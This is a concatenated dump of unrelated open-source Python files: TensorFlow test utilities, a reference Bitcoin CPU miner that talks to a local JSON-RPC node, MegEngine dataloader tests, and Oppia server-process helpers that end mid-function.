"""Evaluates tensors and returns numpy values. Args: tensors: A Tensor or a nested list/tuple of Tensors. Returns: tensors numpy values. """ if context.in_eager_mode(): return self._eval_helper(tensors) else: sess = ops.get_default_session() return sess.run(tensors) # pylint: disable=g-doc-return-or-yield @contextlib.contextmanager def test_session(self, graph=None, config=None, use_gpu=False, force_gpu=False): """Returns a TensorFlow Session for use in executing tests. This method should be used for all functional tests. This method behaves different than session.Session: for performance reasons `test_session` will by default (if `graph` is None) reuse the same session across tests. This means you may want to either call the function `reset_default_graph()` before tests, or if creating an explicit new graph, pass it here (simply setting it with `as_default()` won't do it), which will trigger the creation of a new session. Use the `use_gpu` and `force_gpu` options to control where ops are run. If `force_gpu` is True, all ops are pinned to `/device:GPU:0`. Otherwise, if `use_gpu` is True, TensorFlow tries to run as many ops on the GPU as possible. If both `force_gpu and `use_gpu` are False, all ops are pinned to the CPU. Example: ```python class MyOperatorTest(test_util.TensorFlowTestCase): def testMyOperator(self): with self.test_session(use_gpu=True): valid_input = [1.0, 2.0, 3.0, 4.0, 5.0] result = MyOperator(valid_input).eval() self.assertEqual(result, [1.0, 2.0, 3.0, 5.0, 8.0] invalid_input = [-1.0, 2.0, 7.0] with self.assertRaisesOpError("negative input not supported"): MyOperator(invalid_input).eval() ``` Args: graph: Optional graph to use during the returned session. config: An optional config_pb2.ConfigProto to use to configure the session. use_gpu: If True, attempt to run as many ops as possible on GPU. force_gpu: If True, pin all ops to `/device:GPU:0`. Returns: A Session object that should be used as a context manager to surround the graph building and execution code in a test case. """ if self.id().endswith(".test_session"): self.skipTest("Not a test.") def prepare_config(config): """Returns a config for sessions. Args: config: An optional config_pb2.ConfigProto to use to configure the session. Returns: A config_pb2.ConfigProto object. """ if config is None: config = config_pb2.ConfigProto() config.allow_soft_placement = not force_gpu config.gpu_options.per_process_gpu_memory_fraction = 0.3 elif force_gpu and config.allow_soft_placement: config = config_pb2.ConfigProto().CopyFrom(config) config.allow_soft_placement = False # Don't perform optimizations for tests so we don't inadvertently run # gpu ops on cpu config.graph_options.optimizer_options.opt_level = -1 config.graph_options.rewrite_options.constant_folding = ( rewriter_config_pb2.RewriterConfig.OFF) config.graph_options.rewrite_options.arithmetic_optimization = ( rewriter_config_pb2.RewriterConfig.OFF) return config if graph is None: if self._cached_session is None: self._cached_session = session.Session( graph=None, config=prepare_config(config)) sess = self._cached_session with sess.graph.as_default(), sess.as_default(): if force_gpu: # Use the name of an actual device if one is detected, or '/device:GPU:0' # otherwise gpu_name = gpu_device_name() if not gpu_name: gpu_name = "/device:GPU:0" with sess.graph.device(gpu_name): yield sess elif use_gpu: yield sess else: with sess.graph.device("/cpu:0"): yield sess else: with session.Session(graph=graph, config=prepare_config(config)) as sess: if force_gpu: # Use the name of an actual device if one is detected, or '/device:GPU:0' # otherwise gpu_name = gpu_device_name() if not gpu_name: gpu_name = "/device:GPU:0" with sess.graph.device(gpu_name): yield sess elif use_gpu: yield sess else: with sess.graph.device("/cpu:0"): yield sess # pylint: enable=g-doc-return-or-yield class _CheckedThread(object): """A wrapper class for Thread that asserts successful completion. This class should be created using the TensorFlowTestCase.checkedThread() method. """ def __init__(self, testcase, target, args=None, kwargs=None): """Constructs a new instance of _CheckedThread. Args: testcase: The TensorFlowTestCase for which this thread is being created. target: A callable object representing the code to be executed in the thread. args: A tuple of positional arguments that will be passed to target. kwargs: A dictionary of keyword arguments that will be passed to target. """ self._testcase = testcase self._target = target self._args = () if args is None else args self._kwargs = {} if kwargs is None else kwargs self._thread = threading.Thread(target=self._protected_run) self._exception = None def _protected_run(self): """Target for the wrapper thread. Sets self._exception on failure.""" try: self._target(*self._args, **self._kwargs) except Exception as e: # pylint: disable=broad-except self._exception = e def start(self): """Starts the thread's activity. This must be called at most once per _CheckedThread object. It arranges for the object's target to be invoked in a separate thread of control. """ self._thread.start() def join(self): """Blocks until the thread terminates. Raises: self._testcase.failureException: If the thread terminates with due to an exception. """ self._thread.join() if self._exception is not None: self._testcase.fail("Error in checkedThread: %s" % str(self._exception)) def is_alive(self): """Returns whether the thread is alive. This method returns True just before the run() method starts until just after the run() method terminates. Returns: True if the thread is alive, otherwise False. """ return self._thread.is_alive() def checkedThread(self, target, args=None, kwargs=None): """Returns a Thread wrapper that asserts 'target' completes successfully. This method should be used to create all threads in test cases, as otherwise there is a risk that a thread will silently fail, and/or assertions made in the thread will not be respected. Args: target: A callable object to be executed in the thread. args: The argument tuple for the target invocation. Defaults to (). kwargs: A dictionary of keyword arguments for the target invocation. Defaults to {}. Returns: A wrapper for threading.Thread that supports start() and join() methods. """ ret = TensorFlowTestCase._CheckedThread(self, target, args, kwargs) self._threads.append(ret) return ret # pylint: enable=invalid-name def assertNear(self, f1, f2, err, msg=None): """Asserts that two floats are near each other. Checks that |f1 - f2| < err and asserts a test failure if not. Args: f1: A float value. f2: A float value. err: A float value. msg: An optional string message to append to the failure message. """ self.assertTrue( math.fabs(f1 - f2) <= err, "%f != %f +/- %f%s" % (f1, f2, err, " (%s)" % msg if msg is not None else "")) def assertArrayNear(self, farray1, farray2, err): """Asserts that two float arrays are near each other. Checks that for all elements of farray1 and farray2 |f1 - f2| < err. Asserts a test failure if not. Args: farray1: a list of float values. farray2: a list of float values. err: a float value. """ self.assertEqual(len(farray1), len(farray2)) for f1, f2 in zip(farray1, farray2): self.assertNear(float(f1), float(f2), err) def _NDArrayNear(self, ndarray1, ndarray2, err): return np.linalg.norm(ndarray1 - ndarray2) < err def assertNDArrayNear(self, ndarray1, ndarray2, err): """Asserts that two numpy arrays have near values. Args: ndarray1: a numpy ndarray. ndarray2: a numpy ndarray. err: a float. The maximum absolute difference allowed. """ self.assertTrue(self._NDArrayNear(ndarray1, ndarray2, err)) def _GetNdArray(self, a): if not isinstance(a, np.ndarray): a = np.array(a) return a def _assertArrayLikeAllClose(self, a, b, rtol=1e-6, atol=1e-6, msg=None): a = self._GetNdArray(a) b = self._GetNdArray(b) self.assertEqual(a.shape, b.shape, "Shape mismatch: expected %s, got %s." % (a.shape, b.shape)) if not np.allclose(a, b, rtol=rtol, atol=atol): # Prints more details than np.testing.assert_allclose. # # NOTE: numpy.allclose (and numpy.testing.assert_allclose) # checks whether two arrays are element-wise equal within a # tolerance. The relative difference (rtol * abs(b)) and the # absolute difference atol are added together to compare against # the absolute difference between a and b. Here, we want to # print out which elements violate such conditions. cond = np.logical_or( np.abs(a - b) > atol + rtol * np.abs(b), np.isnan(a) != np.isnan(b)) if a.ndim: x = a[np.where(cond)] y = b[np.where(cond)] print("not close where = ", np.where(cond)) else: # np.where is broken for scalars x, y = a, b print("not close lhs = ", x) print("not close rhs = ", y) print("not close dif = ", np.abs(x - y)) print("not close tol = ", atol + rtol * np.abs(y)) print("dtype = %s, shape = %s" % (a.dtype, a.shape)) np.testing.assert_allclose(a, b, rtol=rtol, atol=atol, err_msg=msg) def assertAllClose(self, a, b, rtol=1e-6, atol=1e-6): """Asserts that two numpy arrays, or dicts of same, have near values. This does not support nested dicts. Args: a: The expected numpy ndarray (or anything can be converted to one), or dict of same. Must be a dict iff `b` is a dict. b: The actual numpy ndarray (or anything can be converted to one), or dict of same. Must be a dict iff `a` is a dict. rtol: relative tolerance. atol: absolute tolerance. Raises: ValueError: if only one of `a` and `b` is a dict. """ is_a_dict = isinstance(a, dict) if is_a_dict != isinstance(b, dict): raise ValueError("Can't compare dict to non-dict, %s vs %s." % (a, b)) if is_a_dict: self.assertItemsEqual( a.keys(), b.keys(), msg="mismatched keys, expected %s, got %s" % (a.keys(), b.keys())) for k in a: self._assertArrayLikeAllClose( a[k], b[k], rtol=rtol, atol=atol, msg="%s: expected %s, got %s." % (k, a, b)) else: self._assertArrayLikeAllClose(a, b, rtol=rtol, atol=atol) def assertAllCloseAccordingToType(self, a, b, rtol=1e-6, atol=1e-6, float_rtol=1e-6, float_atol=1e-6, half_rtol=1e-3, half_atol=1e-3): """Like assertAllClose, but also suitable for comparing fp16 arrays. In particular, the tolerance is reduced to 1e-3 if at least one of the arguments is of type float16. Args: a: the expected numpy ndarray or anything can be converted to one. b: the actual numpy ndarray or anything can be converted to one. rtol: relative tolerance. atol: absolute tolerance. float_rtol: relative tolerance for float32. float_atol: absolute tolerance for float32. half_rtol: relative tolerance for float16. half_atol: absolute tolerance for float16. """ a = self._GetNdArray(a) b = self._GetNdArray(b) if (a.dtype == np.float32 or b.dtype == np.float32 or a.dtype == np.complex64 or b.dtype == np.complex64): rtol = max(rtol, float_rtol) atol = max(atol, float_atol) if a.dtype == np.float16 or b.dtype == np.float16: rtol = max(rtol, half_rtol) atol = max(atol, half_atol) self.assertAllClose(a, b, rtol=rtol, atol=atol) def assertAllEqual(self, a, b): """Asserts that two numpy arrays have the same values. Args: a: the expected numpy ndarray or anything can be converted to one. b: the actual numpy ndarray or anything can be converted to one. """ a = self._GetNdArray(a) b = self._GetNdArray(b) self.assertEqual(a.shape, b.shape, "Shape mismatch: expected %s, got %s." % (a.shape, b.shape)) same = (a == b) if a.dtype == np.float32 or a.dtype == np.float64: same = np.logical_or(same, np.logical_and(np.isnan(a), np.isnan(b))) if not np.all(same): # Prints more details than np.testing.assert_array_equal. diff = np.logical_not(same) if a.ndim: x = a[np.where(diff)] y = b[np.where(diff)] print("not equal where = ", np.where(diff)) else: # np.where is broken for scalars x, y = a, b print("not equal lhs = ", x) print("not equal rhs = ", y) np.testing.assert_array_equal(a, b) # pylint: disable=g-doc-return-or-yield @contextlib.contextmanager def assertRaisesWithPredicateMatch(self, exception_type, expected_err_re_or_predicate): """Returns a context manager to enclose code expected to raise an exception. If the exception is an OpError, the op stack is also included in the message predicate search. Args: exception_type: The expected type of exception that should be raised. expected_err_re_or_predicate: If this is callable, it should be a function of one argument that inspects the passed-in exception and returns True (success) or False (please fail the test). Otherwise, the error message is expected to match this regular expression partially. Returns: A context manager to surround code that is expected to raise an exception. """ if callable(expected_err_re_or_predicate): predicate = expected_err_re_or_predicate else: def predicate(e): err_str = e.message if isinstance(e, errors.OpError) else str(e) op = e.op if isinstance(e, errors.OpError) else None while op is not None: err_str += "\nCaused by: " + op.name op = op._original_op # pylint: disable=protected-access logging.info("Searching within error strings: '%s' within '%s'", expected_err_re_or_predicate, err_str) return re.search(expected_err_re_or_predicate, err_str) try: yield self.fail(exception_type.__name__ + " not raised") except Exception as e: # pylint: disable=broad-except if not isinstance(e, exception_type) or not predicate(e): raise AssertionError("Exception of type %s: %s" % (str(type(e)), str(e))) # pylint: enable=g-doc-return-or-yield def assertRaisesOpError(self, expected_err_re_or_predicate): return self.assertRaisesWithPredicateMatch(errors.OpError, expected_err_re_or_predicate) def assertShapeEqual(self, np_array, tf_tensor): """Asserts that a Numpy ndarray and a TensorFlow tensor have the same shape. Args: np_array: A Numpy ndarray or Numpy scalar. tf_tensor: A Tensor. Raises: TypeError: If the arguments have the wrong type. """ if not isinstance(np_array, (np.ndarray, np.generic)): raise TypeError("np_array must be a Numpy ndarray or Numpy scalar") if not isinstance(tf_tensor, ops.Tensor): raise TypeError("tf_tensor must be a Tensor") self.assertAllEqual(np_array.shape, tf_tensor.get_shape().as_list()) def assertDeviceEqual(self, device1, device2): """Asserts that the two given devices are the same. Args: device1: A string device name or TensorFlow `DeviceSpec` object. device2: A string device name or TensorFlow `DeviceSpec` object. """ device1 = pydev.canonical_name(device1) device2 = pydev.canonical_name(device2) self.assertEqual(device1, device2, "Devices %s and %s are not equal" % (device1, device2)) # Fix Python 3 compatibility issues if six.PY3: # pylint: disable=invalid-name # Silence a deprecation warning assertRaisesRegexp = googletest.TestCase.assertRaisesRegex # assertItemsEqual is assertCountEqual as of 3.2. assertItemsEqual = googletest.TestCase.assertCountEqual # pylint: enable=invalid-name def create_local_cluster(num_workers, num_ps, protocol="grpc", worker_config=None, ps_config=None): """Create and start local servers and return the associated `Server` objects. Example: ```python workers, _ = tf.test.create_local_cluster(num_workers=2, num_ps=2) worker_sessions = [tf.Session(w.target) for w in workers] with tf.device("/job:ps/task:0"): ... with tf.device("/job:ps/task:1"): ... with tf.device("/job:worker/task:0"): ... with tf.device("/job:worker/task:1"): ... worker_sessions[0].run(...) ``` Args: num_workers: Number of worker servers to start. num_ps: Number of PS servers to start. protocol: Communication protocol. Allowed values are documented in the documentation of `tf.train.Server`. worker_config: (optional) ConfigProto to initialize workers. Can be used to instantiate multiple devices etc. ps_config: (optional) ConfigProto to initialize PS servers. Returns: A tuple `(worker_servers, ps_servers)`. `worker_servers` is a list of `num_workers` objects of type `tf.train.Server` (all running locally); and `ps_servers` is a list of `num_ps` objects of similar type. Raises: ImportError: if portpicker module was not found at load time """ if _portpicker_import_error: raise _portpicker_import_error # pylint: disable=raising-bad-type worker_ports = [portpicker.pick_unused_port() for _ in range(num_workers)] ps_ports = [portpicker.pick_unused_port() for _ in range(num_ps)] cluster_dict = { "worker": ["localhost:%s" % port for port in worker_ports], "ps": ["localhost:%s" % port for port in ps_ports] } cs = server_lib.ClusterSpec(cluster_dict) workers = [ server_lib.Server( cs, job_name="worker", protocol=protocol, task_index=ix, config=worker_config, start=True) for ix in range(num_workers) ] ps_servers = [ server_lib.Server( cs, job_name="ps", protocol=protocol, task_index=ix, config=ps_config, start=True) for ix in range(num_ps) ] return workers, ps_servers
pyminer.py
#!/usr/bin/python # # Copyright (c) 2011 The Bitcoin developers # Distributed under the MIT/X11 software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. # import time import json import pprint import hashlib import struct import re import base64 import httplib import sys from multiprocessing import Process ERR_SLEEP = 15 MAX_NONCE = 1000000L settings = {} pp = pprint.PrettyPrinter(indent=4) class BitcoinRPC: OBJID = 1 def __init__(self, host, port, username, password): authpair = "%s:%s" % (username, password) self.authhdr = "Basic %s" % (base64.b64encode(authpair)) self.conn = httplib.HTTPConnection(host, port, False, 30) def rpc(self, method, params=None): self.OBJID += 1 obj = { 'version' : '1.1', 'method' : method, 'id' : self.OBJID } if params is None: obj['params'] = [] else: obj['params'] = params self.conn.request('POST', '/', json.dumps(obj), { 'Authorization' : self.authhdr, 'Content-type' : 'application/json' }) resp = self.conn.getresponse() if resp is None: print "JSON-RPC: no response" return None body = resp.read() resp_obj = json.loads(body) if resp_obj is None: print "JSON-RPC: cannot JSON-decode body" return None if 'error' in resp_obj and resp_obj['error'] != None: return resp_obj['error'] if 'result' not in resp_obj: print "JSON-RPC: no result in object" return None return resp_obj['result'] def getblockcount(self): return self.rpc('getblockcount') def getwork(self, data=None): return self.rpc('getwork', data) def uint32(x): return x & 0xffffffffL def bytereverse(x): return uint32(( ((x) << 24) | (((x) << 8) & 0x00ff0000) | (((x) >> 8) & 0x0000ff00) | ((x) >> 24) )) def bufreverse(in_buf): out_words = [] for i in range(0, len(in_buf), 4): word = struct.unpack('@I', in_buf[i:i+4])[0] out_words.append(struct.pack('@I', bytereverse(word))) return ''.join(out_words) def wordreverse(in_buf): out_words = [] for i in range(0, len(in_buf), 4): out_words.append(in_buf[i:i+4]) out_words.reverse() return ''.join(out_words) class Miner: def __init__(self, id): self.id = id self.max_nonce = MAX_NONCE def work(self, datastr, targetstr): # decode work data hex string to binary static_data = datastr.decode('hex') static_data = bufreverse(static_data) # the first 76b of 80b do not change blk_hdr = static_data[:76] # decode 256-bit target value targetbin = targetstr.decode('hex') targetbin = targetbin[::-1] # byte-swap and dword-swap targetbin_str = targetbin.encode('hex') target = long(targetbin_str, 16) # pre-hash first 76b of block header static_hash = hashlib.sha256() static_hash.update(blk_hdr) for nonce in xrange(self.max_nonce): # encode 32-bit nonce value nonce_bin = struct.pack("<I", nonce) # hash final 4b, the nonce value hash1_o = static_hash.copy() hash1_o.update(nonce_bin) hash1 = hash1_o.digest() # sha256 hash of sha256 hash hash_o = hashlib.sha256() hash_o.update(hash1) hash = hash_o.digest() # quick test for winning solution: high 32 bits zero? if hash[-4:] != '\0\0\0\0': continue # convert binary hash to 256-bit Python long hash = bufreverse(hash) hash = wordreverse(hash) hash_str = hash.encode('hex') l = long(hash_str, 16) # proof-of-work test: hash < target if l < target: print time.asctime(), "PROOF-OF-WORK found: %064x" % (l,) return (nonce + 1, nonce_bin) else: print time.asctime(), "PROOF-OF-WORK false positive %064x" % (l,) # return (nonce + 1, nonce_bin) return (nonce + 1, None) def submit_work(self, rpc, original_data, nonce_bin): nonce_bin = bufreverse(nonce_bin) nonce = nonce_bin.encode('hex') solution = original_data[:152] + nonce + original_data[160:256] param_arr = [ solution ] result = rpc.getwork(param_arr) print time.asctime(), "--> Upstream RPC result:", result def iterate(self, rpc): work = rpc.getwork() if work is None: time.sleep(ERR_SLEEP) return if 'data' not in work or 'target' not in work: time.sleep(ERR_SLEEP) return time_start = time.time() (hashes_done, nonce_bin) = self.work(work['data'], work['target']) time_end = time.time() time_diff = time_end - time_start self.max_nonce = long( (hashes_done * settings['scantime']) / time_diff) if self.max_nonce > 0xfffffffaL: self.max_nonce = 0xfffffffaL if settings['hashmeter']: print "HashMeter(%d): %d hashes, %.2f Khash/sec" % ( self.id, hashes_done, (hashes_done / 1000.0) / time_diff) if nonce_bin is not None: self.submit_work(rpc, work['data'], nonce_bin) def loop(self): rpc = BitcoinRPC(settings['host'], settings['port'], settings['rpcuser'], settings['rpcpass']) if rpc is None: return while True: self.iterate(rpc) def miner_thread(id): miner = Miner(id) miner.loop() if __name__ == '__main__': if len(sys.argv) != 2: print "Usage: pyminer.py CONFIG-FILE" sys.exit(1) f = open(sys.argv[1]) for line in f: # skip comment lines m = re.search('^\s*#', line) if m: continue # parse key=value lines m = re.search('^(\w+)\s*=\s*(\S.*)$', line) if m is None: continue settings[m.group(1)] = m.group(2) f.close() if 'host' not in settings: settings['host'] = '127.0.0.1' if 'port' not in settings: settings['port'] = 6479 if 'threads' not in settings: settings['threads'] = 1 if 'hashmeter' not in settings: settings['hashmeter'] = 0 if 'scantime' not in settings: settings['scantime'] = 30L if 'rpcuser' not in settings or 'rpcpass' not in settings: print "Missing username and/or password in cfg file" sys.exit(1) settings['port'] = int(settings['port']) settings['threads'] = int(settings['threads']) settings['hashmeter'] = int(settings['hashmeter']) settings['scantime'] = long(settings['scantime']) thr_list = [] for thr_id in range(settings['threads']): p = Process(target=miner_thread, args=(thr_id,)) p.start() thr_list.append(p) time.sleep(1) # stagger threads print settings['threads'], "mining threads started" print time.asctime(), "Miner Starts - %s:%s" % (settings['host'], settings['port']) try: for thr_proc in thr_list: thr_proc.join() except KeyboardInterrupt: pass print time.asctime(), "Miner Stops - %s:%s" % (settings['host'], settings['port'])
test_pre_dataloader.py
# -*- coding: utf-8 -*- # MegEngine is Licensed under the Apache License, Version 2.0 (the "License") # # Copyright (c) 2014-2021 Megvii Inc. All rights reserved. # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT ARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. import gc import os import platform import time import numpy as np import pytest from megengine.data.collator import Collator from megengine.data.dataloader import DataLoader from megengine.data.dataset import ArrayDataset, StreamDataset from megengine.data.sampler import RandomSampler, SequentialSampler, StreamSampler from megengine.data.transform import ( Compose, Normalize, PseudoTransform, ToMode, Transform, ) def init_dataset(): sample_num = 100 rand_data = np.random.randint(0, 255, size=(sample_num, 1, 32, 32), dtype=np.uint8) label = np.random.randint(0, 10, size=(sample_num,), dtype=int) dataset = ArrayDataset(rand_data, label) return dataset def test_dataloader_init(): dataset = init_dataset() with pytest.raises(ValueError): dataloader = DataLoader(dataset, num_workers=2, divide=True) with pytest.raises(ValueError): dataloader = DataLoader(dataset, num_workers=-1) with pytest.raises(ValueError): dataloader = DataLoader(dataset, timeout=-1) with pytest.raises(ValueError): dataloader = DataLoader(dataset, num_workers=0, divide=True) dataloader = DataLoader(dataset, preload=True) assert isinstance(dataloader.sampler, SequentialSampler) assert isinstance(dataloader.transform, PseudoTransform) assert isinstance(dataloader.collator, Collator) dataloader = DataLoader( dataset, sampler=RandomSampler(dataset, batch_size=6, drop_last=False), preload=True, ) assert len(dataloader) == 17 dataloader = DataLoader( dataset, sampler=RandomSampler(dataset, batch_size=6, drop_last=True), preload=True, ) assert len(dataloader) == 16 class MyStream(StreamDataset): def __init__(self, number, batch=False, error_foramt=False, block=False): self.number = number self.batch = batch self.error_format = error_foramt self.block = block def __iter__(self): for cnt in range(self.number): if self.block: for _ in range(10): time.sleep(1) if self.batch: data = np.random.randint(0, 256, (2, 2, 2, 3), dtype="uint8") yield (True, (data, [cnt, cnt - self.number])) else: data = np.random.randint(0, 256, (2, 2, 3), dtype="uint8") if self.error_format: yield (data, cnt) else: yield (False, (data, cnt)) raise StopIteration @pytest.mark.parametrize("batch", [True, False]) @pytest.mark.parametrize("num_workers", [0, 2]) def test_stream_dataloader(batch, num_workers): dataset = MyStream(100, batch=batch) sampler = StreamSampler(batch_size=4) dataloader = DataLoader( dataset, sampler, Compose([Normalize(mean=(103, 116, 123), std=(57, 57, 58)), ToMode("CHW")]), num_workers=num_workers, preload=True, ) check_set = set() for step, data in enumerate(dataloader): if step == 10: break assert data[0]._tuple_shape == (4, 3, 2, 2) assert data[1]._tuple_shape == (4,) for i in data[1]: assert i not in check_set check_set.add(i) def test_stream_dataloader_error(): dataset = MyStream(100, error_foramt=True) sampler = StreamSampler(batch_size=4) dataloader = DataLoader(dataset, sampler, preload=True) with pytest.raises(AssertionError, match=r".*tuple.*"): data_iter = iter(dataloader) next(data_iter) @pytest.mark.parametrize("num_workers", [0, 2]) def test_stream_dataloader_timeout(num_workers): dataset = MyStream(100, False, block=True) sampler = StreamSampler(batch_size=4) dataloader = DataLoader( dataset, sampler, num_workers=num_workers, timeout=2, preload=True ) with pytest.raises(RuntimeError, match=r".*timeout.*"): data_iter = iter(dataloader) next(data_iter) def test_dataloader_serial(): dataset = init_dataset() dataloader = DataLoader( dataset, sampler=RandomSampler(dataset, batch_size=4, drop_last=False), preload=True, ) for (data, label) in dataloader: assert data._tuple_shape == (4, 1, 32, 32) assert label._tuple_shape == (4,) def test_dataloader_parallel(): # set max shared memory to 100M os.environ["MGE_PLASMA_MEMORY"] = "100000000" dataset = init_dataset() dataloader = DataLoader( dataset, sampler=RandomSampler(dataset, batch_size=4, drop_last=False), num_workers=2, divide=False, preload=True, ) for (data, label) in dataloader: assert data._tuple_shape == (4, 1, 32, 32) assert label._tuple_shape == (4,) dataloader = DataLoader( dataset, sampler=RandomSampler(dataset, batch_size=4, drop_last=False), num_workers=2, divide=True, preload=True, ) for (data, label) in dataloader: assert data._tuple_shape == (4, 1, 32, 32) assert label._tuple_shape == (4,) @pytest.mark.skipif( platform.system() == "Windows", reason="dataloader do not support parallel on windows", ) def test_dataloader_parallel_timeout(): dataset = init_dataset() class TimeoutTransform(Transform): def __init__(self): pass def apply(self, input): time.sleep(10) return input dataloader = DataLoader( dataset, sampler=RandomSampler(dataset, batch_size=4, drop_last=False), transform=TimeoutTransform(), num_workers=2, timeout=2, preload=True, ) with pytest.raises(RuntimeError, match=r".*timeout.*"): data_iter = iter(dataloader) batch_data = next(data_iter) @pytest.mark.skipif( platform.system() == "Windows", reason="dataloader do not support parallel on windows", ) def test_dataloader_parallel_worker_exception(): print("in target") dataset = init_dataset() class FakeErrorTransform(Transform): def __init__(self): pass def apply(self, input): y = x + 1 return input dataloader = DataLoader( dataset, sampler=RandomSampler(dataset, batch_size=4, drop_last=False), transform=FakeErrorTransform(), num_workers=2, preload=True, ) with pytest.raises(RuntimeError, match=r"worker.*died"): data_iter = iter(dataloader) batch_data = next(data_iter) def _multi_instances_parallel_dataloader_worker(): dataset = init_dataset() for divide_flag in [True, False]: train_dataloader = DataLoader( dataset, sampler=RandomSampler(dataset, batch_size=4, drop_last=False), num_workers=2, divide=divide_flag, preload=True, ) val_dataloader = DataLoader( dataset, sampler=RandomSampler(dataset, batch_size=10, drop_last=False), num_workers=2, divide=divide_flag, preload=True, ) for idx, (data, label) in enumerate(train_dataloader): assert data._tuple_shape == (4, 1, 32, 32) assert label._tuple_shape == (4,) if idx % 5 == 0: for val_data, val_label in val_dataloader: assert val_data._tuple_shape == (10, 1, 32, 32) assert val_label._tuple_shape == (10,) def test_dataloader_parallel_multi_instances(): # set max shared memory to 100M os.environ["MGE_PLASMA_MEMORY"] = "100000000" _multi_instances_parallel_dataloader_worker() @pytest.mark.isolated_distributed def test_dataloader_parallel_multi_instances_multiprocessing(): gc.collect() # set max shared memory to 100M os.environ["MGE_PLASMA_MEMORY"] = "100000000" import multiprocessing as mp # mp.set_start_method("spawn") processes = [] for i in range(4): p = mp.Process(target=_multi_instances_parallel_dataloader_worker) p.start() processes.append(p) for p in processes: p.join() assert p.exitcode == 0 @pytest.mark.parametrize("num_workers", [0, 2]) def test_timeout_event(num_workers): def cb(): return (True, (np.zeros(shape=(2, 2, 2, 3)), np.ones(shape=(2,)))) dataset = MyStream(100, block=True) sampler = StreamSampler(batch_size=4) dataloader = DataLoader( dataset, sampler, num_workers=num_workers, timeout=2, timeout_event=cb, preload=True, ) for _, data in enumerate(dataloader): np.testing.assert_equal(data[0], np.zeros(shape=(4, 2, 2, 3))) np.testing.assert_equal(data[1], np.ones(shape=(4,))) break
servers.py
# Copyright 2014 The Oppia Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS-IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Utility functions for managing server processes required by Oppia.""" from __future__ import annotations import contextlib import logging import os import re import shutil import signal import subprocess import sys import threading from core import feconf from core import utils from scripts import common @contextlib.contextmanager def managed_process( command_args, human_readable_name='Process', shell=False, timeout_secs=60, **popen_kwargs): """Context manager for starting and stopping a process gracefully. Args: command_args: list(int|str). A sequence of program arguments, where the program to execute is the first item. Ints are allowed in order to accomodate e.g. port numbers. human_readable_name: str. The human-readable name of the process. Used by the function's logging logic to improve readability. shell: bool. Whether the command should be run inside of its own shell. WARNING: Executing shell commands that incorporate unsanitized input from an untrusted source makes a program vulnerable to [shell injection](https://w.wiki/_Ac2), a serious security flaw which can result in arbitrary command execution. For this reason, the use of `shell=True` is **strongly discouraged** in cases where the command string is constructed from external input. timeout_secs: int. The time allotted for the managed process and its descendants to terminate themselves. After the timeout, any remaining processes will be killed abruptly. **popen_kwargs: dict(str: *). Same kwargs as `subprocess.Popen`. Yields: psutil.Process. The process managed by the context manager. """ # TODO(#11549): Move this to top of the file. if common.PSUTIL_DIR not in sys.path: sys.path.insert(1, common.PSUTIL_DIR) import psutil get_proc_info = lambda p: ( '%s(name="%s", pid=%d)' % (human_readable_name, p.name(), p.pid) if p.is_running() else '%s(pid=%d)' % (human_readable_name, p.pid)) stripped_args = (('%s' % arg).strip() for arg in command_args) non_empty_args = (s for s in stripped_args if s) command = ' '.join(non_empty_args) if shell else list(non_empty_args) human_readable_command = command if shell else ' '.join(command) msg = 'Starting new %s: %s' % (human_readable_name, human_readable_command) print(msg) popen_proc = psutil.Popen(command, shell=shell, **popen_kwargs) try: yield popen_proc finally: print('Stopping %s...' % get_proc_info(popen_proc)) procs_still_alive = [popen_proc] try: if popen_proc.is_running(): # Children must be terminated before the parent, otherwise they # may become zombie processes. procs_still_alive = ( popen_proc.children(recursive=True) + [popen_proc]) procs_to_kill = [] for proc in procs_still_alive: if proc.is_running(): logging.info('Terminating %s...' % get_proc_info(proc)) proc.terminate() procs_to_kill.append(proc) else: logging.info('%s has already ended.' % get_proc_info(proc)) procs_gone, procs_still_alive = ( psutil.wait_procs(procs_to_kill, timeout=timeout_secs)) for proc in procs_still_alive: logging.warning('Forced to kill %s!' % get_proc_info(proc)) proc.kill() for proc in procs_gone: logging.info('%s has already ended.' % get_proc_info(proc)) except Exception: # NOTE: Raising an exception while exiting a context manager is bad # practice, so we log and suppress exceptions instead. logging.exception( 'Failed to stop %s gracefully!' % get_proc_info(popen_proc)) @contextlib.contextmanager def managed_dev_appserver( app_yaml_path, env=None, log_level='info', host='0.0.0.0', port=8080, admin_host='0.0.0.0', admin_port=8000, enable_host_checking=True, automatic_restart=False, skip_sdk_update_check=False): """Returns a context manager to start up and shut down a GAE dev appserver. Args: app_yaml_path: str. Path to the app.yaml file which defines the structure of the server. env: dict(str: str) or None. Defines the environment variables for the new process. log_level: str. The lowest log level generated by the application code and the development server. Expected values are: debug, info, warning, error, critical. host: str. The host name to which the app server should bind. port: int. The lowest port to which application modules should bind. admin_host: str. The host name to which the admin server should bind. admin_port: int. The port to which the admin server should bind. enable_host_checking: bool. Whether to enforce HTTP Host checking for application modules, API server, and admin server. Host checking protects against DNS rebinding attacks, so only disable after understanding the security implications. automatic_restart: bool. Whether to restart instances automatically when files relevant to their module are changed. skip_sdk_update_check: bool. Whether to skip checking for SDK updates. If false, uses .appcfg_nag to decide. Yields: psutil.Process. The dev_appserver process. """ dev_appserver_args = [ common.CURRENT_PYTHON_BIN, common.DEV_APPSERVER_PATH, '--host', host, '--port', port, '--admin_host', admin_host, '--admin_port', admin_port, '--enable_host_checking', 'true' if enable_host_checking else 'false', '--automatic_restart', 'true' if automatic_restart else 'false', '--skip_sdk_update_check', 'true' if skip_sdk_update_check else 'false', '--log_level', log_level, '--dev_appserver_log_level', log_level, app_yaml_path ] with contextlib.ExitStack() as stack: # OK to use shell=True here because we are not passing anything that # came from an untrusted user, only other callers of the script, # so there's no risk of shell-injection attacks. proc = stack.enter_context(managed_process( dev_appserver_args, human_readable_name='GAE Development Server', shell=True, env=env )) common.wait_for_port_to_be_in_use(port) yield proc @contextlib.contextmanager def managed_firebase_auth_emulator(recover_users=False): """Returns a context manager to manage the Firebase auth emulator. Args: 